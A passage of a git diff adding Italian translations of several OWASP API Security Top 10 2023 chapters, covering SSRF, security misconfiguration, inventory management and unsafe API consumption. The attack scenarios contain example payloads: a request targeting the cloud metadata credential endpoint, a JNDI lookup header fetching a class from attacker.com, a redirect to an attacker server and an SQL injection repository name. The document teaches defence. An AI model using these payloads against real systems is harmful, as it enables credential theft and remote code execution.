utenti legittimi di acquistare un prodotto, o provocare inflazione nell'economia interna di un gioco. | + +## L'API è Vulnerabile? + +Quando si crea un endpoint API, è importante capire quale flusso di business +espone. Alcuni flussi di business sono più sensibili di altri, nel senso che +un accesso eccessivo ad essi può danneggiare il business. + +Esempi comuni di flussi di business sensibili e rischi associati a un accesso +eccessivo: + +* Flusso di acquisto di un prodotto — un attaccante può comprare tutto lo stock + di un articolo molto richiesto in una volta e rivenderlo a un prezzo più alto + (scalping) +* Flusso di creazione di un commento/post — un attaccante può inondare il + sistema di spam +* Flusso di prenotazione — un attaccante può prenotare tutte le fasce orarie + disponibili e impedire ad altri utenti di utilizzare il sistema + +Il rischio di accesso eccessivo può variare tra settori e aziende. Ad esempio, +la creazione di post tramite script potrebbe essere considerata un rischio di +spam da un social network, ma incoraggiata da un altro. + +Un endpoint API è vulnerabile se espone un flusso di business sensibile senza +limitarne adeguatamente l'accesso. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un'azienda tecnologica annuncia il lancio di una nuova console da gioco per il +Giorno del Ringraziamento. Il prodotto ha una domanda molto elevata e le scorte +sono limitate. Un attaccante scrive del codice per acquistare automaticamente +il nuovo prodotto e completare la transazione. + +Il giorno del lancio, l'attaccante esegue il codice distribuito su diversi +indirizzi IP e posizioni. L'API non implementa la protezione adeguata e consente +all'attaccante di acquistare la maggior parte delle scorte prima degli altri +utenti legittimi. + +In seguito, l'attaccante rivende il prodotto su un'altra piattaforma a un +prezzo molto più alto. + +### Scenario #2 + +Una compagnia aerea offre l'acquisto di biglietti online senza costi di +cancellazione. Un utente malintenzionato prenota il 90% dei posti di un volo +desiderato. + +Pochi giorni prima del volo, l'utente malintenzionato cancella tutti i biglietti +contemporaneamente, costringendo la compagnia aerea a scontare i prezzi per +riempire il volo. + +A questo punto, l'utente acquista un singolo biglietto a un prezzo molto più +basso rispetto all'originale. + +### Scenario #3 + +Un'app di ride-sharing offre un programma di referral — gli utenti possono +invitare i propri amici e ottenere credito per ogni amico che si iscrive +all'app. Questo credito può essere successivamente utilizzato come denaro per +prenotare corse. + +Un attaccante sfrutta questo flusso scrivendo uno script che automatizza il +processo di registrazione, con ogni nuovo utente che aggiunge credito al +portafoglio dell'attaccante. + +L'attaccante può in seguito usufruire di corse gratuite o vendere gli account +con crediti eccessivi in cambio di denaro. + +## Come Prevenire + +La pianificazione delle misure di mitigazione deve essere effettuata su due +livelli: + +* Business — identificare i flussi di business che potrebbero danneggiare + l'azienda se utilizzati in modo eccessivo. +* Tecnico — scegliere i meccanismi di protezione adeguati per mitigare il + rischio di business. + + Alcuni meccanismi di protezione sono più semplici da implementare, altri + più complessi. I seguenti metodi vengono utilizzati per rallentare le + minacce automatizzate: + + * Device fingerprinting: negare il servizio a dispositivi client inattesi + (ad esempio browser headless) tende a spingere gli attaccanti a utilizzare + soluzioni più sofisticate, quindi più costose per loro + * Rilevamento umano: utilizzo di captcha o soluzioni biometriche più + avanzate (ad esempio pattern di digitazione) + * Pattern non umani: analizzare il flusso dell'utente per rilevare pattern + non umani (ad esempio l'utente ha acceduto alle funzioni "aggiungi al + carrello" e "completa acquisto" in meno di un secondo) + * Considerare il blocco degli indirizzi IP dei nodi di uscita Tor e dei + proxy più noti + + Proteggere e limitare l'accesso alle API consumate direttamente da macchine + (come le API per sviluppatori e B2B). Tendono a essere un facile bersaglio + per gli attaccanti perché spesso non implementano tutti i meccanismi di + protezione necessari. + +## Riferimenti + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ \ No newline at end of file diff --git a/editions/2023/it/0xa7-server-side-request-forgery.md b/editions/2023/it/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..319aee01c --- /dev/null +++ b/editions/2023/it/0xa7-server-side-request-forgery.md @@ -0,0 +1,165 @@ +# API7:2023 Server Side Request Forgery + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Comune** : Rilevabilità **Facile** | Tecnico **Moderato** : Specifico per il Business | +| Lo sfruttamento richiede che l'attaccante trovi un endpoint API che accede a un URI fornito dal client. In generale, un SSRF base (in cui la risposta viene restituita all'attaccante) è più facile da sfruttare rispetto a un Blind SSRF, in cui l'attaccante non riceve alcun feedback sull'esito dell'attacco. | I moderni paradigmi di sviluppo delle applicazioni incoraggiano gli sviluppatori ad accedere agli URI forniti dal client. La mancanza di validazione o una validazione inadeguata di tali URI sono problemi comuni. L'analisi regolare delle richieste e delle risposte API sarà necessaria per rilevare il problema. Quando la risposta non viene restituita (Blind SSRF), rilevare la vulnerabilità richiede maggiore impegno e creatività. | Un exploit riuscito potrebbe portare all'enumerazione dei servizi interni (ad esempio la scansione delle porte), alla divulgazione di informazioni, all'aggiramento di firewall o di altri meccanismi di sicurezza. In alcuni casi, può portare a DoS o all'utilizzo del server come proxy per nascondere attività malevole. | + +## L'API è Vulnerabile? + +Le falle di Server-Side Request Forgery (SSRF) si verificano quando un'API +recupera una risorsa remota senza validare l'URL fornito dall'utente. Ciò +consente a un attaccante di forzare l'applicazione a inviare una richiesta +artefatta a una destinazione inattesa, anche se protetta da un firewall o una +VPN. + +I moderni paradigmi di sviluppo delle applicazioni rendono l'SSRF più comune +e più pericoloso. + +Più comune — i seguenti paradigmi incoraggiano gli sviluppatori ad accedere a +una risorsa esterna in base all'input dell'utente: Webhook, recupero di file da +URL, SSO personalizzato e anteprime URL. + +Più pericoloso — le tecnologie moderne come i provider cloud, Kubernetes e +Docker espongono canali di gestione e controllo tramite HTTP su percorsi noti +e prevedibili. Questi canali sono facili bersagli per un attacco SSRF. + +Anche limitare il traffico in uscita dall'applicazione è più difficile, a causa +della natura interconnessa delle applicazioni moderne. + +Il rischio SSRF non può sempre essere eliminato completamente. Nella scelta di +un meccanismo di protezione, è importante considerare i rischi e le esigenze +di business. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un social network consente agli utenti di caricare immagini del profilo. +L'utente può scegliere di caricare il file immagine dal proprio dispositivo o +di fornire l'URL dell'immagine. Scegliendo la seconda opzione, verrà attivata +la seguente chiamata API: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Un attaccante può inviare un URL malevolo e avviare la scansione delle porte +nella rete interna tramite l'endpoint API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +In base al tempo di risposta, l'attaccante può determinare se la porta è aperta +o meno. + +### Scenario #2 + +Un prodotto di sicurezza genera eventi quando rileva anomalie nella rete. Alcuni +team preferiscono esaminare gli eventi in un sistema di monitoraggio più ampio +e generico, come un SIEM (Security Information and Event Management). A tal +fine, il prodotto fornisce l'integrazione con altri sistemi tramite webhook. + +Come parte della creazione di un nuovo webhook, viene inviata una mutazione +GraphQL con l'URL dell'API SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Durante il processo di creazione, il back-end dell'API invia una richiesta di +test all'URL del webhook fornito e mostra all'utente la risposta. + +Un attaccante può sfruttare questo flusso e fare in modo che l'API richieda +una risorsa sensibile, come un servizio interno di metadati cloud che espone +le credenziali: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Poiché l'applicazione mostra la risposta della richiesta di test, l'attaccante +può visualizzare le credenziali dell'ambiente cloud. + +## Come Prevenire + +* Isolare il meccanismo di recupero delle risorse nella rete: solitamente queste + funzionalità sono pensate per recuperare risorse remote e non interne. +* Dove possibile, utilizzare allowlist di: + * Origini remote da cui gli utenti possono scaricare risorse (ad esempio + Google Drive, Gravatar, ecc.) + * Schemi e porte URL + * Tipi di media accettati per una determinata funzionalità +* Disabilitare i redirect HTTP. +* Utilizzare un parser URL ben testato e mantenuto per evitare problemi causati + da inconsistenze nel parsing degli URL. +* Validare e sanificare tutti i dati di input forniti dal client. +* Non inviare risposte grezze ai client. + +## Riferimenti + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Esterni + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ \ No newline at end of file diff --git a/editions/2023/it/0xa8-security-misconfiguration.md b/editions/2023/it/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..e1905f363 --- /dev/null +++ b/editions/2023/it/0xa8-security-misconfiguration.md @@ -0,0 +1,137 @@ +# API8:2023 Security Misconfiguration + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Elevata** : Rilevabilità **Facile** | Tecnico **Grave** : Specifico per il Business | +| Gli attaccanti tentano spesso di trovare falle non patchate, endpoint comuni, servizi in esecuzione con configurazioni di default non sicure o file e directory non protetti per ottenere accesso non autorizzato o informazioni sul sistema. Gran parte di queste informazioni è di dominio pubblico e potrebbero essere disponibili exploit. | La configurazione errata della sicurezza può verificarsi a qualsiasi livello dello stack API, dal livello di rete al livello applicativo. Sono disponibili strumenti automatizzati per rilevare e sfruttare configurazioni errate come servizi non necessari o opzioni legacy. | Le configurazioni errate della sicurezza non espongono solo dati sensibili degli utenti, ma anche dettagli di sistema che possono portare alla compromissione totale del server. | + +## L'API è Vulnerabile? + +L'API potrebbe essere vulnerabile se: + +* Manca un adeguato hardening della sicurezza in qualsiasi parte dello stack + API, o se i permessi sui servizi cloud sono configurati in modo errato +* Mancano le patch di sicurezza più recenti, o i sistemi non sono aggiornati +* Funzionalità non necessarie sono abilitate (ad esempio verbi HTTP, + funzionalità di logging) +* Ci sono discrepanze nel modo in cui le richieste in ingresso vengono + elaborate dai server nella catena HTTP +* Manca il Transport Layer Security (TLS) +* Le direttive di sicurezza o di controllo della cache non vengono inviate ai + client +* Manca o è impostata in modo errato una policy Cross-Origin Resource Sharing + (CORS) +* I messaggi di errore includono stack trace o espongono altre informazioni + sensibili + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un server back-end API mantiene un log degli accessi scritto da un popolare +strumento di logging open source di terze parti che supporta l'espansione dei +placeholder e le lookup JNDI (Java Naming and Directory Interface), entrambe +abilitate per impostazione predefinita. Per ogni richiesta, viene scritta una +nuova voce nel file di log con il seguente schema: +` / - `. + +Un attaccante invia la seguente richiesta API, che viene scritta nel file di +log degli accessi: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +A causa della configurazione di default non sicura dello strumento di logging +e di una policy permissiva per il traffico in uscita, nel tentativo di scrivere +la voce corrispondente nel log degli accessi espandendo il valore nell'header +di richiesta `X-Api-Version`, lo strumento di logging recupererà ed eseguirà +l'oggetto `Malicious.class` dal server remoto controllato dall'attaccante. + +### Scenario #2 + +Un sito di social network offre una funzionalità di "messaggio diretto" che +consente agli utenti di mantenere conversazioni private. Per recuperare nuovi +messaggi per una specifica conversazione, il sito invia la seguente richiesta +API (non è richiesta l'interazione dell'utente): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Poiché la risposta API non include l'header HTTP `Cache-Control`, le +conversazioni private finiscono nella cache del browser web, consentendo ad +attori malintenzionati di recuperarle dai file di cache del browser nel +filesystem. + +## Come Prevenire + +Il ciclo di vita dell'API dovrebbe includere: + +* Un processo di hardening ripetibile che consenta una distribuzione rapida e + semplice di un ambiente adeguatamente protetto +* Un'attività di revisione e aggiornamento delle configurazioni sull'intero + stack API. La revisione dovrebbe includere: file di orchestrazione, componenti + API e servizi cloud (ad esempio permessi dei bucket S3) +* Un processo automatizzato per valutare continuamente l'efficacia della + configurazione e delle impostazioni in tutti gli ambienti + +Inoltre: + +* Assicurarsi che tutte le comunicazioni API dal client al server API e a tutti + i componenti downstream/upstream avvengano su un canale di comunicazione + cifrato (TLS), indipendentemente dal fatto che si tratti di un'API interna o + esposta al pubblico. +* Essere specifici riguardo ai verbi HTTP con cui ciascuna API può essere + acceduta: tutti gli altri verbi HTTP dovrebbero essere disabilitati + (ad esempio HEAD). +* Le API che si prevede vengano accedute da client basati su browser (ad esempio + il front-end di una WebApp) dovrebbero come minimo: + * implementare una corretta policy Cross-Origin Resource Sharing (CORS) + * includere gli header di sicurezza applicabili +* Limitare i tipi di contenuto/formati di dati in ingresso a quelli che + soddisfano i requisiti funzionali/di business. +* Assicurarsi che tutti i server nella catena HTTP (ad esempio load balancer, + proxy inversi e diretti, e server back-end) processino le richieste in + ingresso in modo uniforme per evitare problemi di desync. +* Dove applicabile, definire e applicare tutti gli schemi dei payload di risposta + API, incluse le risposte di errore, per evitare che stack trace e altre + informazioni preziose vengano inviate agli attaccanti. + +## Riferimenti + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Esterni + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ \ No newline at end of file diff --git a/editions/2023/it/0xa9-improper-inventory-management.md b/editions/2023/it/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..896ef3a9b --- /dev/null +++ b/editions/2023/it/0xa9-improper-inventory-management.md @@ -0,0 +1,110 @@ +# API9:2023 Improper Inventory Management + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Elevata** : Rilevabilità **Media** | Tecnico **Moderato** : Specifico per il Business | +| Gli agenti di minaccia ottengono solitamente accesso non autorizzato tramite vecchie versioni API o endpoint lasciati in esecuzione senza patch e con requisiti di sicurezza più deboli. In alcuni casi sono disponibili exploit. In alternativa, possono accedere a dati sensibili tramite una terza parte con cui non c'è alcuna ragione di condividere dati. | La documentazione obsoleta rende più difficile trovare e/o correggere le vulnerabilità. La mancanza di inventario degli asset e di strategie di dismissione porta all'esecuzione di sistemi non aggiornati, con conseguente divulgazione di dati sensibili. È comune trovare host API esposti inutilmente a causa di concetti moderni come i microservizi, che rendono le applicazioni facili da distribuire e indipendenti (ad esempio cloud computing, K8S). Una semplice ricerca con Google Dorking, l'enumerazione DNS o l'utilizzo di motori di ricerca specializzati per vari tipi di server (webcam, router, server, ecc.) connessi a Internet sarà sufficiente per scoprire i target. | Gli attaccanti possono accedere a dati sensibili, o addirittura prendere il controllo del server. A volte diverse versioni/distribuzioni API sono connesse allo stesso database con dati reali. Gli agenti di minaccia possono sfruttare endpoint deprecati disponibili in vecchie versioni API per accedere a funzioni amministrative o sfruttare vulnerabilità note. | + +## L'API è Vulnerabile? + +La natura frammentata e interconnessa delle API e delle applicazioni moderne +pone nuove sfide. È importante che le organizzazioni abbiano non solo una buona +comprensione e visibilità delle proprie API e dei propri endpoint, ma anche di +come le API condividono o archiviano dati con terze parti esterne. + +Eseguire più versioni di un'API richiede risorse di gestione aggiuntive da parte +del provider API e amplia la superficie di attacco. + +Un'API ha un "punto cieco documentale" se: + +* Lo scopo di un host API non è chiaro e non ci sono risposte esplicite alle + seguenti domande: + * In quale ambiente è in esecuzione l'API (ad esempio produzione, staging, + test, sviluppo)? + * Chi dovrebbe avere accesso di rete all'API (ad esempio pubblico, interno, + partner)? + * Quale versione dell'API è in esecuzione? +* Non esiste documentazione o la documentazione esistente non è aggiornata. +* Non esiste un piano di dismissione per ogni versione API. +* L'inventario degli host è assente o non aggiornato. + +La visibilità e l'inventario dei flussi di dati sensibili svolgono un ruolo +importante come parte di un piano di risposta agli incidenti, nel caso in cui +si verifichi una violazione dal lato della terza parte. + +Un'API ha un "punto cieco sui flussi di dati" se: + +* Esiste un "flusso di dati sensibili" in cui l'API condivide dati sensibili + con una terza parte e: + * Non esiste una giustificazione o approvazione di business per il flusso + * Non esiste un inventario o visibilità del flusso + * Non esiste una visibilità approfondita su quale tipo di dati sensibili + viene condiviso + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un social network ha implementato un meccanismo di rate limiting che blocca gli +attaccanti dall'utilizzo della forza bruta per indovinare i token di reset della +password. Questo meccanismo non era implementato come parte del codice API stesso, +ma in un componente separato tra il client e l'API ufficiale +(`api.socialnetwork.owasp.org`). Un ricercatore ha trovato un host API beta +(`beta.api.socialnetwork.owasp.org`) che esegue la stessa API, incluso il +meccanismo di reset della password, ma il meccanismo di rate limiting non era +presente. Il ricercatore è riuscito a reimpostare la password di qualsiasi utente +utilizzando la semplice forza bruta per indovinare il token a 6 cifre. + +### Scenario #2 + +Un social network consente agli sviluppatori di app indipendenti di integrarsi +con esso. Come parte di questo processo, viene richiesto il consenso all'utente +finale, in modo che il social network possa condividere le informazioni personali +dell'utente con l'app indipendente. + +Il flusso di dati tra il social network e le app indipendenti non è +sufficientemente restrittivo o monitorato, consentendo alle app indipendenti di +accedere non solo alle informazioni dell'utente ma anche alle informazioni private +di tutti i suoi amici. + +Una società di consulenza sviluppa un'app malevola e riesce a ottenere il +consenso di 270.000 utenti. A causa della falla, la società di consulenza riesce +ad accedere alle informazioni private di 50.000.000 di utenti. In seguito, la +società di consulenza vende le informazioni per scopi malevoli. + +## Come Prevenire + +* Creare un inventario di tutti gli host API e documentare gli + aspetti importanti di ognuno, concentrandosi sull'ambiente API (ad esempio + produzione, staging, test, sviluppo), su chi dovrebbe avere accesso di rete + all'host (ad esempio pubblico, interno, partner) e sulla versione API. +* Creare un inventario dei servizi integrati e documentare aspetti + importanti come il loro ruolo nel sistema, quali dati vengono scambiati + (flusso di dati) e la loro sensibilità. +* Documentare tutti gli aspetti dell'API come autenticazione, errori, redirect, + rate limiting, policy CORS (cross-origin resource sharing) ed endpoint, + inclusi i loro parametri, richieste e risposte. +* Generare documentazione automaticamente adottando standard aperti. Includere + la generazione della documentazione nella pipeline CI/CD. +* Rendere la documentazione API disponibile solo a coloro che sono autorizzati + a utilizzare l'API. +* Utilizzare misure di protezione esterne come soluzioni specifiche per la + sicurezza API per tutte le versioni esposte delle API, non solo per la + versione in produzione attuale. +* Evitare l'uso di dati di produzione con distribuzioni API non di produzione. + Se ciò è inevitabile, questi endpoint devono ricevere lo stesso trattamento + di sicurezza di quelli di produzione. +* Quando le versioni più recenti delle API includono miglioramenti di sicurezza, + eseguire un'analisi del rischio per informare le azioni di mitigazione + necessarie per le versioni precedenti. Ad esempio, valutare se è possibile + applicare i miglioramenti retroattivamente senza compromettere la + compatibilità API, o se è necessario ritirare rapidamente la versione + precedente e forzare tutti i client a migrare all'ultima versione. + +## Riferimenti + +### Esterni + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html \ No newline at end of file diff --git a/editions/2023/it/0xaa-unsafe-consumption-of-apis.md b/editions/2023/it/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..92e2c7d15 --- /dev/null +++ b/editions/2023/it/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,114 @@ +# API10:2023 Unsafe Consumption of APIs + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Comune** : Rilevabilità **Media** | Tecnico **Grave** : Specifico per il Business | +| Sfruttare questo problema richiede che gli attaccanti identifichino e compromettano potenzialmente altre API/servizi con cui l'API target è integrata. Di solito queste informazioni non sono pubblicamente disponibili o l'API/servizio integrato non è facilmente sfruttabile. | Gli sviluppatori tendono a fidarsi degli endpoint che interagiscono con API esterne o di terze parti senza verificarli, affidandosi a requisiti di sicurezza più deboli, ad esempio in materia di sicurezza del trasporto, autenticazione/autorizzazione e validazione e sanificazione dell'input. Gli attaccanti devono identificare i servizi con cui l'API target si integra (fonti di dati) e, eventualmente, comprometterli. | L'impatto varia in base a ciò che l'API target fa con i dati recuperati. Un exploit riuscito può portare all'esposizione di informazioni sensibili a soggetti non autorizzati, a vari tipi di injection, o a denial of service. | + +## L'API è Vulnerabile? + +Gli sviluppatori tendono a fidarsi dei dati ricevuti da API di terze parti più +che dell'input degli utenti. Ciò è particolarmente vero per le API offerte da +aziende note. Per questo motivo, gli sviluppatori tendono ad adottare standard +di sicurezza più deboli, ad esempio riguardo alla validazione e sanificazione +dell'input. + +L'API potrebbe essere vulnerabile se: + +* Interagisce con altre API su un canale non cifrato; +* Non valida e sanifica correttamente i dati raccolti da altre API prima di + elaborarli o passarli a componenti downstream; +* Segue ciecamente i redirect; +* Non limita il numero di risorse disponibili per elaborare le risposte dei + servizi di terze parti; +* Non implementa timeout per le interazioni con servizi di terze parti; + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un'API si affida a un servizio di terze parti per arricchire gli indirizzi +aziendali forniti dagli utenti. Quando un indirizzo viene fornito all'API +dall'utente finale, viene inviato al servizio di terze parti e i dati restituiti +vengono poi archiviati in un database SQL locale. + +Degli attaccanti utilizzano il servizio di terze parti per archiviare un payload +SQLi associato a un'azienda da loro creata. Poi si rivolgono all'API vulnerabile +fornendo un input specifico che la induce a recuperare la loro "azienda +malevola" dal servizio di terze parti. Il payload SQLi finisce per essere +eseguito dal database, esfiltrandone i dati verso un server controllato +dall'attaccante. + +### Scenario #2 + +Un'API si integra con un fornitore di servizi di terze parti per archiviare in +modo sicuro informazioni mediche sensibili degli utenti. I dati vengono inviati +tramite una connessione sicura utilizzando una richiesta HTTP come quella +seguente: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Gli attaccanti trovano un modo per compromettere l'API di terze parti, che +inizia a rispondere con un `308 Permanent Redirect` alle richieste come quella +precedente. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Poiché l'API segue ciecamente i redirect di terze parti, ripeterà la stessa +identica richiesta includendo i dati sensibili dell'utente, ma questa volta +verso il server dell'attaccante. + +### Scenario #3 + +Un attaccante può preparare un repository Git chiamato `'; drop db;--`. + +Quando un'applicazione vulnerabile effettua un'integrazione con il repository +malevolo, il payload SQL injection viene utilizzato su un'applicazione che +costruisce una query SQL ritenendo che il nome del repository sia un input +sicuro. + +## Come Prevenire + +* Quando si valutano i fornitori di servizi, verificare la loro postura di + sicurezza delle API. +* Assicurarsi che tutte le interazioni API avvengano su un canale di + comunicazione sicuro (TLS). +* Validare e sanificare sempre correttamente i dati ricevuti dalle API integrate + prima di utilizzarli. +* Mantenere una allowlist di posizioni note verso cui le API integrate potrebbero + reindirizzare le tue API: non seguire ciecamente i redirect. + +## Riferimenti + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Esterni + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html \ No newline at end of file diff --git a/editions/2023/it/0xb0-next-devs.md b/editions/2023/it/0xb0-next-devs.md new file mode 100644 index 000000000..61e4022d0 --- /dev/null +++ b/editions/2023/it/0xb0-next-devs.md @@ -0,0 +1,38 @@ +# Prossimi Passi per gli Sviluppatori + +Il compito di creare e mantenere applicazioni sicure, o di correggere quelle +esistenti, può essere difficile. Non è diverso per le API. + +Crediamo che l'educazione e la consapevolezza siano fattori chiave per scrivere +software sicuro. Tutto il resto necessario per raggiungere l'obiettivo dipende +dall'**adozione e dall'utilizzo di processi di sicurezza ripetibili e controlli +di sicurezza standard**. + +OWASP fornisce numerose risorse gratuite e aperte per aiutarti ad affrontare la +sicurezza. Visita la [pagina dei Progetti OWASP][1] per un elenco completo dei +progetti disponibili. + +| | | +|-|-| +| **Formazione** | L'[Application Security Wayfinder][2] dovrebbe darti una buona panoramica dei progetti disponibili per ogni fase del Software Development LifeCycle (SDLC). Per l'apprendimento pratico puoi iniziare con [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] o [OWASP Juice Shop][4]: entrambi hanno API intenzionalmente vulnerabili. Il [Progetto OWASP Vulnerable Web Applications Directory][5] fornisce un elenco curato di applicazioni intenzionalmente vulnerabili: vi troverai diverse altre API vulnerabili. Puoi anche partecipare alle sessioni di formazione della [Conferenza OWASP AppSec][6] o [unirti al tuo capitolo locale][7]. | +| **Requisiti di Sicurezza** | La sicurezza deve far parte di ogni progetto fin dall'inizio. Quando si definiscono i requisiti, è importante definire cosa significa "sicuro" per quel progetto. OWASP raccomanda di utilizzare l'[OWASP Application Security Verification Standard (ASVS)][8] come guida per definire i requisiti di sicurezza. Se si esternalizza il lavoro, considera l'[OWASP Secure Software Contract Annex][9], che dovrebbe essere adattato in base alla legge e alla normativa locale. | +| **Architettura di Sicurezza** | La sicurezza deve rimanere una preoccupazione durante tutte le fasi del progetto. La [Serie di Cheat Sheet OWASP][10] è un buon punto di partenza per la guida su come progettare la sicurezza nella fase di architettura. Tra i tanti, troverai il [REST Security Cheat Sheet][11] e il [REST Assessment Cheat Sheet][12], nonché il [GraphQL Cheat Sheet][13]. | +| **Controlli di Sicurezza Standard** | Adottare controlli di sicurezza standard riduce il rischio di introdurre debolezze di sicurezza durante la scrittura della propria logica. Sebbene molti framework moderni dispongano ora di controlli standard integrati efficaci, gli [OWASP Proactive Controls][14] offrono una buona panoramica dei controlli di sicurezza che dovresti considerare di includere nel tuo progetto. OWASP fornisce anche alcune librerie e strumenti che potresti trovare utili, come i controlli di validazione. | +| **Secure Software Development Life Cycle** | Puoi utilizzare l'[OWASP Software Assurance Maturity Model (SAMM)][15] per migliorare i tuoi processi di sviluppo delle API. Diversi altri progetti OWASP sono disponibili per supportarti nelle diverse fasi di sviluppo delle API, ad esempio la [OWASP Code Review Guide][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ \ No newline at end of file diff --git 